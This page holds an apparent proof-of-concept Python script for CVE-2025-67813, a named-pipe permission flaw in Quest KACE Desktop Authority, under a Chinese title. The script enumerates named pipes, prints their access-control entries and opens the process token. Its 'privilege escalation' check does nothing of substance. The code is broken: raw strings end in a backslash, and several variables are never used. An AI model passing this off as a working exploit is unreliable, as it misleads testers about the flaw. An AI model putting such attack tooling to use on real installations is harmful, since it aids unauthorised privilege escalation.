CVE-2025-67813: Quest KACE Desktop Authority 命名管道权限漏洞

# CVE-2025-67813 PoC - Quest KACE Desktop Authority Named Pipe Enumeration # This PoC demonstrates enumeration of named pipes with weak permissions import win32security import win32api import ntsecuritycon as con import os def enumerate_named_pipes(): """Enumerate all named pipes and check their security descriptors""" print("[*] CVE-2025-67813 - KACE Desktop Authority Named Pipe Enumeration\n") # Common KACE Desktop Authority named pipe patterns kace_pipe_patterns = [ "KACE_*", "DA_*", "\\\\.\\pipe\\KACE*", "\\\\.\\pipe\\DA*" ] # Use PowerShell to enumerate named pipes ps_script = ''' Get-ChildItem \\.\pipe\ | Select-Object Name, FullName ''' print("[*] Enumerating named pipes...") # Check if current user has access to pipes try: # Attempt to open a common pipe path pipe_path = r"\\.\pipe\" handles = os.listdir(r"\\.\pipe\") print(f"[+] Found {len(handles)} named pipes") for handle in handles: if any(pattern.replace("*", "") in handle for pattern in ["KACE", "DA"]): print(f"[+] Potential KACE pipe found: {handle}") # Check DACL for the pipe try: sd = win32security.GetFileSecurity( rf"\\.\pipe\{handle}", win32security.DACL_SECURITY_INFORMATION ) dacl = sd.GetSecurityDescriptorDacl() if dacl: print(f"[*] DACL entries for {handle}:") for i in range(dacl.GetAceCount()): ace = dacl.GetAce(i) print(f" - ACE {i}: {ace}") except Exception as e: print(f"[-] Could not check DACL: {e}") except Exception as e: print(f"[-] Error enumerating pipes: {e}") def check_privilege_escalation(): """Check if low-privilege access to KACE pipes could lead to privilege escalation""" print("\n[*] Checking for potential privilege escalation vectors...") # Check current user privileges try: token = win32security.OpenProcessToken( win32api.GetCurrentProcess(), win32security.TOKEN_QUERY ) print(f"[+] Current process token: {token}") # Check if we can access KACE service print("[*] Attempting to identify KACE service named pipes...") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": enumerate_named_pipes() check_privilege_escalation() print("\n[*] Note: This is for authorized security testing only")